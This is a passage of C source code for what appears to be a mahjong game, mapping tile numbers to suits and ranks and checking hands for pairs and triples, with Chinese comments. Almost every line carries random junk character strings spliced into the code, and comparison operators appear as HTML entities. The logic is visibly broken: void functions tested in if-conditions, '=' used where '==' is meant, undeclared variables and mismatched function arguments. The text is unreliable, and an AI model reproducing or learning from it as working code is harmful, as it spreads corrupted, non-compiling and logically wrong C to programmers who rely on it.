logoo=2;' q8 w8 {0 l: E: o+ S/ C5 l
else if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)1 G) s6 l, R, u9 o) C
logoo=3;
3 |: b' C* k8 d. V6 |else if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)# {& ^+ H* o2 ]! o
logoo=4;; G4 a- B3 H& |5 Y5 b1 O: o
else if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)
8 \- a! s4 {' g. F* wlogoo=5;
0 j: {3 r8 h9 G9 R; {else if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)! C) F& [1 |# I1 l7 W! \' s
logoo=6;9 Y! y# v8 ~# ~4 p/ E7 q* j8 R
else if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)
6 X" k0 s- I, {9 i& `logoo=7;  m* }# {) C' F, f
else if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)
4 }( ]0 J- `/ ]' u2 Wlogoo=8;
- Y, _* V: Y3 n8 d" G: Telse if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)) k% |( x  P7 s+ Z8 A
logoo=9;
* D4 @7 m6 S1 s. e}+ j8 k7 E" q9 B9 q- Y# d
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)
5 o3 e; `1 F5 t. E9 }- ~{! a6 E" z( {% v( Y8 ?
logo=3;9 o* t$ q/ O& \; G" l; Q
if(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)
3 ~+ c8 Q$ ~  k2 @, G5 plogoo=1;; p. L: d+ \% h
else if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)
% w+ X- ^9 |1 O: c. _5 V$ \logoo=2;3 q0 x* c5 w. L
else if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)
+ a& s. `' G6 k. A, h: ologoo=3;
+ \% [- [$ t3 P1 Yelse if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)0 D2 E9 [- N7 V" `4 U0 J6 k1 i
logoo=4;
, c: L. v7 i  V  T' G7 Jelse if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)
. i, h7 V0 h6 r4 Z! s" Zlogoo=5;
9 x/ `1 L3 x0 z: Q& @/ \$ selse if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)  j( Z" |6 @7 |( N7 \
logoo=6;7 O0 }' O$ U4 t0 \) P0 R, l
else if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)6 O6 C) q$ {) d. s
logoo=7;
* |, c& ^( F6 T/ X. oelse if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)$ ]( _8 l2 X* r2 o2 J) `
logoo=8;8 w( c/ [) U6 b! |3 R( {4 ^3 N
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)
3 P4 q( ], _- j: q  ylogoo=9;: ~, q' d) I3 J' {0 k% U
}5 k$ j* e6 S3 C  A8 @1 m
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)' A7 U; ^' r8 O
{  v8 T) y1 s, s- m
logo=4;
- S0 ^. i+ m, _9 ~9 v2 [: ~if(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108). ^) J0 x; F6 J, w0 P
logoo=1;
4 O1 y0 @" ?8 ^  jelse if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)
! W$ I3 {: f# ~* B8 ]0 [8 klogoo=2;( k' R) k; i% M& ~: E5 S. \+ m; E* H' g
else if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)
, ?4 H$ D; P) v5 m; Tlogoo=3;
6 Z, d' d" P! k5 ]$ \; Melse if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)# i& ~- }8 a+ |% Q
logoo=4;
+ u3 E+ Y6 D: M# w6 H* Ielse if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)
  X2 u9 a: _4 U9 \7 H  Clogoo=5;
' h5 P- O3 g* p& f2 U5 ]! ]else if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)
5 B9 p: C9 A; }8 ^7 Rlogoo=6;( f: I+ |1 ?+ r: e/ c
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)
% @, w' l0 l# e) i! \1 zlogoo=7;$ T" s' A9 ?: {- `9 ?* B7 z
}
0 E' v" i! K6 y+ j% y5 j( @while(b&lt;=me.m)/ f8 `: R( d! \% Y- ?6 ]
{
; d# ~- \1 e" }& t4 {- Vif(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/; H% R5 E- N) S- e( ]; O& x
{0 X* R; R7 I8 t1 \
lg=1;! D: p+ Q6 j$ t) D/ w- {
me.pp.d[0]=1;0 Q, K) l8 R/ Y4 e
if(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)- b( ^% _7 G% h9 B4 U5 M0 z
{/ u4 s( X6 P0 h# i& k
lgg=1;
7 g9 A8 E, |1 F' P0 J7 F5 r8 xme.pp.d[1]=1;7 ~7 u, H0 x2 w4 {" o  n* k) I0 n+ n+ S
}2 @5 P' ^4 u9 f
else if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)
" W& v$ O4 m; \, r2 Z{/ T! G- e) A5 [9 H% {! k: r
lgg=2;
" N1 D; L  z: ]" c  Y, y: Pme.pp.d[1]=2;
5 k* F$ j4 F5 Q8 i. T  ^, e* R}
0 X- J& p% }) G: Q8 }8 melse if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8)
, a& c% c+ |. e0 B) v/ @{4 J8 Y" T8 R7 }7 y% P; p
lgg=3;
1 ]; j; O5 r9 r" O. L2 q) |( ?% q* Yme.pp.d[1]=3;
2 L0 E) Z6 v7 y- t# V}) V/ o9 U" P1 \% U) n
else if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12)
' e: V  F* C$ F3 |9 k/ {3 g% J( ]{3 B( ?. k- k( S' P% `: e0 w7 p
lgg=4;
8 O( k0 w/ o5 Mme.pp.d[1]=4;$ A; R+ ]) s: J3 i& B
}. g4 c7 y$ J' }" c* V
else if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)# _- v; c4 q. [8 s0 u
{
: p/ P6 B# E  d: H: F" @lgg=5;7 P0 v  r% D  B" {3 v
me.pp.d[1]=5;6 |' e; X- s7 k& L2 t" g. T
}
* l9 ~9 H0 k$ T  o% D( I) _& s/ pelse if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)
; W# `( P: v) B0 O1 G3 u3 H- F- d{
' i$ o/ }( v; A$ t3 H, `9 Nlgg=6;
- Y, g  k6 x: q$ I+ fme.pp.d[1]=6;* R  B: ~) D- j; n- A8 d
}
. i" x; u! G$ L/ N+ \% gelse if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)
% z+ I3 {9 C1 x& S{
- \& }7 p" b3 n9 r: Y/ Qlgg=7;
/ O2 `$ O3 F* U8 v+ t- wme.pp.d[1]=7;
1 w( i- l* ^; y6 ~% K8 [}, q: k% V! [+ k* l
else if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)
9 P" Q1 h* D5 `, W. [{% O! K# z0 |+ z' B$ \
lgg=8;
' e5 k4 C) G" R- a, M3 tme.pp.d[1]=8;
2 w, d; h) {' d}
& y) j' W& r6 }7 A4 Ielse if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32): B# u4 |( ^: H1 o
{
% I0 I( w; s" k/ h* rlgg=9;
" F' U7 v/ b- Wme.pp.d[1]=9;
7 p4 V8 H$ D* p6 Z# [}0 V. Q- V5 a# F/ i
}) r* N: \) ~- Q6 X* l' {8 \
else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)
$ @+ x9 x* r$ d2 X1 g- {{
3 |3 \1 R1 a  q/ [9 I$ wlg=2;
$ z( L8 f0 b1 a! ~me.pp.d[0]=2;
/ K6 w1 X! z: @) ?, n7 z2 @, zif(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36): c% S( Z7 F/ H) B
{2 C& M) |: [% F
lgg=1;
* {& _" s9 J/ F7 }7 |me.pp.d[1]=1;1 A9 f& z) _7 F* _1 J. d
}; @1 L3 h) _3 k
else if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)5 ?' v8 `, L! g0 c5 Y
{8 }( N- W1 S6 `. {5 `+ V
lgg=2;, k  X0 J+ c% q: t
me.pp.d[1]=2;
" f2 z7 Q/ H/ l) u& }- }}; a- I) \2 j" x$ W' w; H2 U
else if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44)( g& T% K4 N) b5 F( U" L# V' K% Q* P
{! r: M; K% o+ g- C- g& _3 d
lgg=3;
9 }' c% W& U9 M' z2 ^5 fme.pp.d[1]=3;, Z. V# Y! L* {( n1 G2 M* m
}6 y. m& D: s7 S  ~. I
else if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)$ E1 G7 V" a( ?0 a
{+ K8 l8 u, B3 b/ ]
lgg=4;9 V  K4 l' W5 d3 s3 A3 p
me.pp.d[1]=4;3 Y3 C) }  N: i) p  `  |
}0 t( Y# r/ L/ F5 m
else if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)% @, y/ J8 L) `! ?3 e6 F* |( Z6 `9 W
{0 [8 G# j# o1 ^2 {' c4 P8 G
lgg=5;+ x: C# X- o% L
me.pp.d[1]=5;
# Q$ ~; T6 J/ C2 d/ c}
8 `6 u2 C8 p4 O+ `7 |else if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)
5 E8 U2 C6 n2 ~  [3 r6 j6 k9 \0 ~{
1 U- V' _' t- x, i5 V! G& x: rlgg=6;( G- S2 _% n# }5 s( o+ x
me.pp.d[1]=6;
9 n( [5 p. J5 z}/ p) `! y( b% Q6 u0 V% {- G' o4 \7 j
else if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)
3 C+ N* I9 @( U  q{
1 w( J0 h: n( ylgg=7;) |4 x7 g8 V2 y/ h
me.pp.d[1]=7;: g, ~4 v7 _, Z& R3 {+ g3 \
}: [. u9 Q/ h1 M6 ~! F/ o
else if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)- U7 u  S- Q( V3 V* _" Z
{4 e/ O& k. Q8 b( W* B
lgg=8;: f5 e* R+ T- C) C8 I5 V5 i2 N
me.pp.d[1]=8;
* Z) S" I2 D/ \. p, ^}
. y) e0 ?  Q( D8 C  felse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)
3 [9 m6 ~1 a0 B+ i{
+ v. k: L" Y4 I! ]' Q* Q) ~2 c* q3 ilgg=9;2 ~1 ?$ r. u: b( L5 \- z* k8 u& `
me.pp.d[1]=9;' p- c$ h+ X1 D, v) C
}, g/ X# }4 N, b: d# [
}2 d. S/ Q/ T3 X- ^+ G
else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72)+ g: [' g( V7 y# @( Y
{2 a/ L. g. @8 v/ d. `
lg=3;
! N5 G# Q9 l& A/ X: Pme.pp.d[0]=3;
$ J9 N/ B1 ~7 h2 Y3 r, W! Eif(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)- q6 l1 v9 Z  D5 }4 j
{
6 a7 U8 h2 M( O3 hlgg=1;" k6 ]! q& a  [0 a3 T
me.pp.d[1]=1;* ?. V! s& ?) |* h- I% i  ]- [
}' ~9 a/ `# C. c( M, d/ g
else if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)4 q8 B4 d9 A5 o/ u/ `5 P
{, j3 u) [& z' z9 }' a: a6 f. c* N2 z
lgg=2;7 `3 ]6 ^3 y& s) c. u9 k$ Y
me.pp.d[1]=2;
4 C& X2 t; P# q; }  O1 V! Y  D}4 Q* n* t7 ~) z( `. T' P5 Y
else if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80); R6 w" c  ^' R
{
1 E& g. l+ R2 V6 P( Mlgg=3;
7 e' P0 i  U' }, s$ ~' i; i: d; y" cme.pp.d[1]=3;
  F& P' U; m9 G9 `" D}
1 Y& W0 P$ s* u2 h( @else if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)7 M) @' ]# J# F. h. y/ G' M- J
{
- d% g; ~6 h% w2 y/ l; `lgg=4;
9 _" n% w+ z- ~3 Lme.pp.d[1]=4;: C+ W0 l) k! t8 y2 _7 l" y
}4 ~& r- ?* S' ~5 R1 v5 j# d
else if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)
" S1 F9 {  h& b7 w{( ^' m. ^0 W- ^1 u( w9 m
lgg=5;
# m1 N/ o' T% d. i% ome.pp.d[1]=5;
$ }0 g, q1 t% H' k3 v. L}& j% J. ^/ D$ [9 T
else if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)# S! ?# \7 h# y3 c% O- \! o
{
/ \( f9 w7 c- f" Algg=6;
5 d9 D5 i9 G# C' T, Zme.pp.d[1]=6;! s  \" h! F9 S- C( X! F& X. d
}
- ~$ p) N/ b9 s# Q# G" ?! ?3 Yelse if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)* J/ `- Y2 I( c" O$ J) @
{7 N* x# Q4 a& s8 s" g
lgg=7;! ?9 ^, j$ w3 p
me.pp.d[1]=7;
/ N0 U. J2 S9 E* Q- ]}
+ k6 V3 _2 Q) f: S& @% Lelse if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)
; [) M2 ^0 |" ^' m9 V/ x$ \- u# B{
5 o& L7 g* I4 ?& Llgg=8;! a" Y  r  A; |) e/ Q
me.pp.d[1]=8;
: E- i* J+ S4 z2 r2 Z6 |}3 N; `0 I$ }! V, ?, y% W! _6 n
else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104); @8 x6 m2 x2 _" T$ X! Y2 ^* J
{
4 t" k  J% n9 Y) ~* Ylgg=9;
( |; I0 F/ }/ D/ Gme.pp.d[1]=9;9 p4 F& H6 ~) }+ x/ v8 m
}
1 b/ \- B: n: p% x; I7 J}& M& o0 n: m: q4 q
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108)+ T* |" W( u8 E/ `
{$ U# G1 r* s2 ^! S) w: F, j5 X
lg=4;
. R3 b9 h% a  j+ lme.pp.d[0]=4;
/ k6 J9 U; G0 _- D/ R9 Bif(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)
0 q$ |' o9 c/ |, `) t3 E{2 s; L6 P8 ~7 M9 u; v5 e
lgg=1;
' [5 ]9 q4 h4 `, g$ E6 I5 o- `0 N3 hme.pp.d[1]=1;# {! n0 x& \1 Z/ S( c) H2 K
}
$ L& z' K( R9 b% Yelse if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112)
$ u5 B$ u1 k+ s3 s{
- M6 ]9 `% @! M1 e& glgg=2;! B6 o: L! X! n/ x
me.pp.d[1]=2;
) _* x: ~; K5 \- z  L+ S}; F2 P; Z  e: x+ |, F
else if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)  O6 n! a% S. D) f* r" o8 p9 s# ?
{* S$ u( ]# [7 x1 ?6 M
lgg=3;2 }9 r+ ^' C7 {' Z
me.pp.d[1]=3;1 {: l' s; Z* q2 ]; [
}
* e2 z0 \( [, K% b+ n( ~% `; Felse if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)
. T. b: p/ ?% y( z8 J. q{0 }$ Y$ X, `9 W* I& v5 x
lgg=4;% P* K# P/ Q( [$ Y; W6 P5 q
me.pp.d[1]=4;0 x6 f" O% a) H: b
}
# _4 u# b* N, v9 o: n* q$ lelse if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)9 S( n& g$ E1 a2 S$ g/ c( q
{
: y' v8 o$ L8 d1 slgg=5;6 {7 z( C, b) T; x  R5 `
me.pp.d[1]=5;/ o( y7 r- P" u* B  ~4 t3 B
}3 V( p' n6 _! a2 U
else if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)0 q* l+ g. @- N: {* M7 m
{
' Q* c2 m/ ]0 ^4 [% B$ A2 t# |lgg=6;
+ c) `3 e- n7 D5 b2 T% v/ T7 rme.pp.d[1]=6;# W6 z3 n4 P9 e  L8 {
}5 r) R! I' L0 P: L
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132)+ n% V# V9 g; Y2 @! f. Z
{
4 X5 l; A% \3 z& ?5 f- M- H  llgg=7;
! R" ]! o- b6 j/ @me.pp.d[1]=7;
" m; I; F- ]! e) Z+ H, y}+ ^  I6 P7 k$ Y& o5 F% o! w( e
}  f8 Q# Y" ~4 T
}
: o7 m# c1 [' F& H* i% T& d}0 ]  q9 V; n% w  d" S
void istwo(testt)9 y! Q; S% |2 u- B8 ^1 X
int testt[];
$ t6 u  e* V& x* N{ if(testt[0]==testt[1])
" [2 j. D/ Y( ]' Dsecond++;
7 t! Y9 c) m! o4 l}2 n5 s) t% V8 a) N$ l
void isthree(testt,n)7 Q- N: B! b% x% x- }. y
int testt[],n=0;  \& ~0 i- T# ?5 k$ s. r8 R
{ int i,j,flage=0,lianx=0,same=0;5 B' H/ {6 _+ `% X, W# F- E
n=n/3;* _8 B) e$ w6 h$ u; Y* X
for(j=0;j&lt;n;j++)! s9 C! g  {! x
{
* F8 Q) x; Z/ Q: ]! O% M, q; Ofor(i=j*3;i&lt;2+j*3;i++)
  V+ p' _( X% i* z% R; q  t{
. t  Y' f! e" E8 J! T- _if(testt==testt[i+1])$ P% h$ S, N) |/ {1 P" z
same++;' Y2 K2 U# B  V9 j* R
if(testt[i+1]-testt==1)* S% W( ~4 u4 h6 S- R8 l
lianx++;# R  ?# i* U2 H0 Z; O) v
}
7 B  Z9 b; w1 Xif(same==2)  m2 l6 a- T4 i3 {: S5 r
threes++;
8 k8 T2 m( `, J: O7 f$ ^4 _1 F5 ]if(lianx==2)
+ s6 J" f1 N9 j' T+ k4 r. y: ithrees++;' ~% i! Z9 T( `; Q4 \
same=0;! J6 b7 X0 N; d/ p- X$ M) _  R
lianx=0;& g9 F: E& s% r
}, N- q3 @, j$ A2 J0 g
}" t$ O* _! k6 S/ V8 j# q; o
void panduan() /*本程序的精髓*/
! Z2 F& M! a4 R5 m/ |1 l0 l$ Z{int data[14];
2 v* n. y& f3 [, d1 n: Zint pw[14];
7 X% s0 Q# ?( y. |int pt[14];5 c% c  E5 u* D: B5 }' V
int pi[14];0 [7 X; L9 P8 T2 M% |. `! ^
int pf[14];9 Q- @0 F. _2 ~, {
int test[12];9 U& B* ~9 @  I% Y+ a' D
int jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;( D* R0 c( X( p* w* W4 |  X
for(jj=0;jj&lt;=me.m;jj++)# I$ o! E0 C5 a& F0 x$ {! O' C
{6 X$ N( H( z5 e  D+ ^: G, P8 v
if(me.pp[jj].d[0]==1). z  [. j- i( {# F3 u( Z" z
data[jj]=me.pp[jj].d[1];
, m8 D. o7 e# E  q5 [# Pif(me.pp[jj].d[0]==2)
3 u% C+ J4 B) h/ k( \  g4 R! y9 @data[jj]=me.pp[jj].d[1]+10;$ r" ?, E1 B2 Z% {$ e
if(me.pp[jj].d[0]==3)
( r* u, Q9 G3 h: \  Jdata[jj]=me.pp[jj].d[1]+20;
: Z0 B" B" }! [+ |if(me.pp[jj].d[0]==4)
7 i* s9 A2 h) @' D1 _8 bdata[jj]=me.pp[jj].d[1]+30;/ @6 F3 M  @1 M$ a8 M1 v# q
}: v% C' u$ ]2 @0 R5 b
if(logo==2)
0 P8 j3 d# H, L& Z+ Lw=logoo+10;
$ R& v3 ]: R+ r% K6 r' Lif(logo==3)
; x; v0 d/ D% l8 Hw=logoo+20;
  q" p9 R# r: C. B2 eif(logo==4)
  h3 A/ [; J( S7 B4 k* mw=logoo+30;
+ x; v1 O  V' [6 Udata[computer.m+1]=w;
0 Q/ ~, O  y3 h* Lfor(mm=0;mm&lt;=computer.m;mm++)0 ]+ l% B* e" R# ~% e
for(nn=mm;nn&lt;=computer.m;nn++)0 |8 X) z# O8 o, W) H
if(data[mm]&gt;data[nn+1])2 _1 ~/ p7 s  X! b+ b# B
{
. v" u2 D; c+ `: ^* ~tpp=data[mm];( z( l6 a6 a. b; Q& u
data[mm]=data[nn+1];
- u" z  [! e8 D/ w, Idata[nn+1]=tpp;
5 h  m) R1 `. O6 b3 d, r8 o* b}% s/ X1 G2 F8 O6 n
lp=0;
8 ^  U6 w- h3 K& O" @; rwhile(lp&lt;=computer.m)
% E0 u* B+ C! R; i5 A  x! a{ if(data[lp]&lt;10)! J: H$ `( a, s6 I! g
pw[ww++]=data[lp];: A7 L1 t. C2 U, m& s9 @+ ~: s
if(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)' x1 x( g' l3 g2 g7 M& U
pt[tt++]=data[lp];
- {% z: w  Q. Hif(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)- f2 Z" o. H) R' Z! o( M7 V3 Z
pi[ii++]=data[lp];  u* g! ^: G/ q! v. g5 f  n
if(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)
; F- O  _9 g: H# }4 Gpf[ff++]=data[lp];
! M2 H8 S4 h  U: E" |1 Elp++;
8 z  m0 ^- c3 b}+ [; P& }- ^3 w- m+ c) u6 E
if(ww==2)
% F7 m# F3 r& X5 l, X) P' |istwo(pw);
5 C; _0 H5 F( Aelse if(ww==3)* n' |1 F  Z9 k3 H9 I% Q6 j6 ?$ P
isthree(pw,ww);
! s* v& N' b. g& c; ~+ w' lelse if(ww==5)
3 x# ]* k" Y+ x. }/*pw[5]原始牌数组,假设已经升序排列*/
/ F" ?  p8 S- F' U  S1 e# v6 V/*test[3]用来放置测试牌的数组*/
) k1 [: z9 X2 I' \/ Yfor(i=0;i&lt;4;i++). D& I: Q. O; z
{. Y3 D% A6 K/ H# U. T, Y
for(j=0;j&lt;2;j++)7 a7 G3 l! c; M/ K" V1 t) h( v5 J
{test[j]=pw[i+j];
% K+ {$ ?; x# M- i/ r6 U}  _7 a" _: x8 V$ _% b
if(istwo(test))& _0 Z) R5 `" T- X( ~
{ ill=0;
" k' C( E2 @2 A+ @* Ffor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
: w& \1 `# ?9 s{if(kl==i)0 K  v% ]* [, s% z! I2 u& G% x
{+ U! C+ G9 R/ q5 B
kl=kl+2;, _+ n- e5 i- T
if(kl==5)2 o3 H7 \+ z( g5 h1 g! @' |
break;
! J+ K* i6 u: x8 N- e  K}. z% H0 K1 \! }3 F+ t+ Q. d4 C$ l" w
test[ill++]=pw[kl];
& x' ~0 h$ |: |: C2 F% V4 u7 k}
! ^6 B4 k8 j1 L( x: X# w& j+ k" Kisthree(test);4 m1 Q' j2 p! _3 p3 w7 V1 }
}
7 }. ?1 Q- T2 ]( a' H; y" Y}5 \+ M& [3 b% C1 X2 C% X: v1 f# ?
else if(ww==6)
( ]  M2 u% h1 r, f/ histhree(pw,ww);
0 `9 J  [) I1 ~% qelse if(ww==8)1 v9 Q7 G% {9 m) e- d6 K1 k
for(i=0;i&lt;7;i++)
9 p# B/ @' @3 ]1 X/ q& A, B; L" k{$ k! }  x7 y8 |, Z* m; X$ \7 s
for(j=0;j&lt;2;j++)
1 h9 |$ L: D: @, A, _! J* l{test[j]=pw[i+j];
5 o- P$ [3 p/ c  x  b7 ?* w}+ K& h- U- I# f6 [
if(istwo(test))
$ I3 c; ^5 l( F0 [" B9 c{ ill=0;8 D# e4 M9 Y' W2 t6 n
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
- S' o( G4 y3 N( D{if(kl==i)+ A4 a$ L+ `; j4 W
{
& f- I" M: A. |8 O! c4 ~kl=kl+2;
' `0 p: \( ^9 q5 n/ E& Y5 _9 ]/ }if(kl==8)3 `* _2 X$ }8 m1 u1 o- K
break;0 r/ B: `$ f5 V
}9 R9 y% x$ r& R& ^% ?1 {7 z/ A( b
test[ill++]=pw[kl];5 W3 O; O- x& C0 Y8 P9 `
}4 v# j4 u, b& e  w. m2 k
isthree(test,ww-2);
! C- Z$ `3 H, {8 z0 L; t}
0 w: j4 s5 [( @. ?- s7 @) `' A/ K}
- o9 f2 q/ I6 z8 L: |$ z$ @" Gelse if(ww==9)
( H+ n6 ]7 a4 {7 E5 ^isthree(pw,ww);: K/ I. g7 E* Q8 n1 z
else if(ww==11)4 P* T, ~9 O& f6 g
for(i=0;i&lt;10;i++)
4 s; n7 u7 c1 P* U. R( i$ V+ `7 s{0 G* j% k! Z% f! M7 M2 R& b: `" P7 e
for(j=0;j&lt;2;j++); o% h/ V' D9 X, J
{test[j]=pw[i+j]; 1 g! z5 _: k3 g) g' _3 Q% j  q* C
}$ T1 G7 D- z: O5 Q0 F2 |9 [
if(istwo(test))
% F  T6 N4 S# L  V7 X* Y5 y; G{ ill=0;
  h" e; Y6 ]) J  c" c8 z) _- cfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/6 h9 b8 v. S  F; w$ d& C; W$ T
{if(kl==i)& ]4 m! U5 Y$ @" v
{7 j+ [5 h/ ~# X0 ^
kl=kl+2;
2 ]. I5 \4 }5 j% lif(kl==11)
0 D5 R7 Q  e$ G% u9 h# H" cbreak;
0 H) s; h6 S; d6 g& x! q# a8 t, b5 v}  N. }( _1 u- }( e
test[ill++]=pw[kl];8 u2 }6 O8 p4 J: e) @7 B" n
}
: I( x7 Q5 i8 A3 Y7 `( Oisthree(test,ww-2);
: f% b& i- C% H3 B! P) K}2 d/ i" L1 g4 C6 ^4 S8 S9 u
}
( X) D) \% z) H7 G9 gelse if(ww=12)
5 h* G$ v/ y* ^isthree(pw,ww);
! Q: {7 ]; F* b" |9 B+ T' @+ Eelse if(ww=14)) h. i! {+ O8 ?
for(i=0;i&lt;13;i++)
  C3 k2 O, P. O4 m$ Z{
! g: J! [5 n. V9 {: kfor(j=0;j&lt;2;j++)
) Y- K; n6 l. J$ \4 V0 |, ~/ Z{test[j]=pw[i+j];
& G7 |! }2 d& l, {: P}
+ Y# L& u; `0 j1 oif(istwo(test))6 u% Q! k0 r9 {' L
{ ill=0;
- X+ ~; N2 _/ d. L# A$ d! Yfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/# ?! i. f+ o0 G4 S5 u
{if(kl==i)
+ I5 O4 K; W: _/ ]# Z2 u; B0 U{
3 |8 k5 s! \0 s' q0 y% I! s0 qkl=kl+2;
% t. t  V% G# `8 u3 n5 zif(kl==14)8 V5 ]7 B! h" c1 @7 P' t
break;. J: A/ p9 v3 M1 _- ]- J. ?0 W
}
5 e1 v. ?* ~; u# l6 ?test[ill++]=pw[kl];8 ^  |" e- H2 ^0 v( m2 D
}
( ^, W% E; b: J: Q8 r3 histhree(test,ww-2);
7 N6 T% w6 q, E" C}
0 }# E; q! I; P5 u( x; g9 }5 j3 h}
1 m/ R0 r4 p5 C/ \6 Lif(tt==2)0 O; N# q, \3 Z2 R/ B
istwo(pt);
8 `: ^' t6 g/ n$ gelse if(tt==3)+ `$ v# _+ w$ L/ X/ n. R
isthree(pt,tt);* d# s" L# E5 p: p' r; v
else if(tt==5)
+ |2 u/ o. E6 c9 G5 y/*pt[5]原始牌数组,假设已经升序排列*/
4 J9 @; t5 O! E5 X! Y( d+ ?: |/*test[3]用来放置测试牌的数组*/
: \( I' R+ b7 q: ~/ [- efor(i=0;i&lt;4;i++)
; X; ~- @6 J; X! P) s4 u{
3 L4 P" B+ y; I0 G1 a2 x) kfor(j=0;j&lt;2;j++)8 R, Y6 X# }& `* @" g
{test[j]=pt[i+j];
+ |+ C9 S/ K  P2 h. S" W5 j& i}2 ]6 \4 ?, N7 b, W* S6 v) G4 Z8 n3 ?
if(istwo(test))
5 M1 s- u1 n8 |% b  V' C{ ill=0;5 L: ^+ |" s5 n7 _0 p
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/4 i0 Y2 Y4 a9 _8 y! f
{if(kl==i)
( z" k$ M( `& z4 o) E$ v) Y{
  L: a3 z: l* F- Gkl=kl+2;, v1 J) G" Z$ |1 q1 V, q- f4 k- _
if(kl==5)0 e! ~1 F& I1 x
break;+ n, ]& I9 ^* d# D$ @1 c- `
}& }4 |, D, i* j( r& h, \
test[ill++]=pt[kl];* f* l' G# z9 r* {: Z( J
}
- f" H& G! y" t3 qisthree(test);
5 k1 n# w* f4 @: T2 w) _* V}
. q, @; b3 U7 S( k}0 C3 @3 N0 t1 e' n3 D- q! b1 W! y8 p
else if(tt==6)
& ^& h7 E2 [; v0 A1 m0 s# A7 Listhree(pt,tt); 8 g& N$ x6 Y! r/ c
else if(tt==8)
( b! \8 Y) L% |for(i=0;i&lt;7;i++)
) _. f/ r( g! E0 ^6 N. R{
% s$ N$ X( ~; t( M! v$ ~2 z) yfor(j=0;j&lt;2;j++)( g& |0 y3 `) h
{test[j]=pt[i+j];
; r9 o9 C, u/ k' @; {}, _2 N. s7 V) d8 J( J  T
if(istwo(test))7 T8 @6 l4 K# U2 Z% y' b
{ ill=0;
